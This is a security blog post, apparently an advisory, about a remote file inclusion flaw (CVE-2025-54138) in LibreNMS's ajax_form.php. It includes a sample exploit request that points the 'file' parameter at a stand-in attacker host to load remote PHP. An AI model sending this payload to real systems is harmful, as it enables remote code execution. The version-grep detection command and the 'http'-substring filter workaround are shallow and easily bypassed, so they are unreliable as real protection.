CVE-2025-54138: Exploiting LibreNMS Remote File Inclusion Vulnerability

By /

Listen to this Post

Featured Image

Introduction

A critical vulnerability (CVE-2025-54138) has been discovered in LibreNMS 25.6.0, allowing attackers to execute Remote File Inclusion (RFI) via the `ajax_form.php` endpoint. This flaw stems from improper input validation, enabling malicious actors to inject arbitrary files. This article explores the exploit mechanics, mitigation strategies, and key cybersecurity takeaways.

Learning Objectives

  • Understand how Remote File Inclusion (RFI) vulnerabilities work.
  • Learn how to test and exploit CVE-2025-54138 in a controlled environment.
  • Apply hardening techniques to secure LibreNMS deployments.

You Should Know

1. Exploiting CVE-2025-54138 via RFI

Vulnerable Endpoint:

POST /ajax_form.php HTTP/1.1 
Host: target-librenms 
Content-Type: application/x-www-form-urlencoded

file=http://attacker.com/malicious.txt

Steps to Exploit:

  1. Host a malicious PHP file (malicious.txt) on an attacker-controlled server.
  2. Send a POST request to `ajax_form.php` with the `file` parameter pointing to the attacker’s payload.
  3. LibreNMS will include and execute the remote file, leading to RCE (Remote Code Execution).

Mitigation:

  • Disable `allow_url_include` in php.ini.
  • Apply input validation to restrict file paths to local directories.

2. Detecting Vulnerable LibreNMS Instances

Command (Linux):

curl -s "http://target-librenms/ajax_form.php" | grep -q "LibreNMS 25.6.0" && echo "Vulnerable" || echo "Patched"

Steps:

1. Use `curl` to check the LibreNMS version.

  1. If the response matches 25.6.0, the system is vulnerable.

3. Patching LibreNMS

Official Fix:

Upgrade to LibreNMS 25.6.1 or apply the GitHub patch: 

git clone https://github.com/librenms/librenms.git 
cd librenms 
git checkout v25.6.1

Manual Workaround:

Modify `ajax_form.php` to sanitize user input:

if (strpos($_POST['file'], 'http') !== false) { 
die("Remote file inclusion blocked."); 
}

4. Log Analysis for Exploitation Attempts

Linux Command:

grep "POST /ajax_form.php" /var/log/nginx/access.log | grep -E 'file=http'

Steps:

  1. Check web server logs for suspicious POST requests.

2. Block IPs attempting RFI exploitation.

5. Hardening PHP Configurations

Edit `php.ini`:

allow_url_include = Off 
allow_url_fopen = Off

Apply Changes:

sudo systemctl restart apache2  or nginx/php-fpm

What Undercode Say

  • Key Takeaway 1: Unrestricted file inclusion in web applications remains a high-risk attack vector.
  • Key Takeaway 2: Proactive patch management and input validation are critical in preventing RFI exploits.

Analysis:

CVE-2025-54138 highlights the dangers of legacy code in open-source projects. Organizations must prioritize:
– Automated vulnerability scanning.
– Secure coding practices (e.g., input sanitization).
– Regular dependency updates.

Prediction

Future attacks may leverage AI-driven fuzzing to discover similar flaws in network monitoring tools. Zero-day RFI exploits could escalate into supply chain attacks if left unpatched.

Action Items:

  • Audit all LibreNMS instances.
  • Implement WAF rules to block RFI payloads.
  • Monitor GitHub advisories for emerging threats.

References:

IT/Security Reporter URL:

Reported By: Seth Kraft – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin

Related Posts: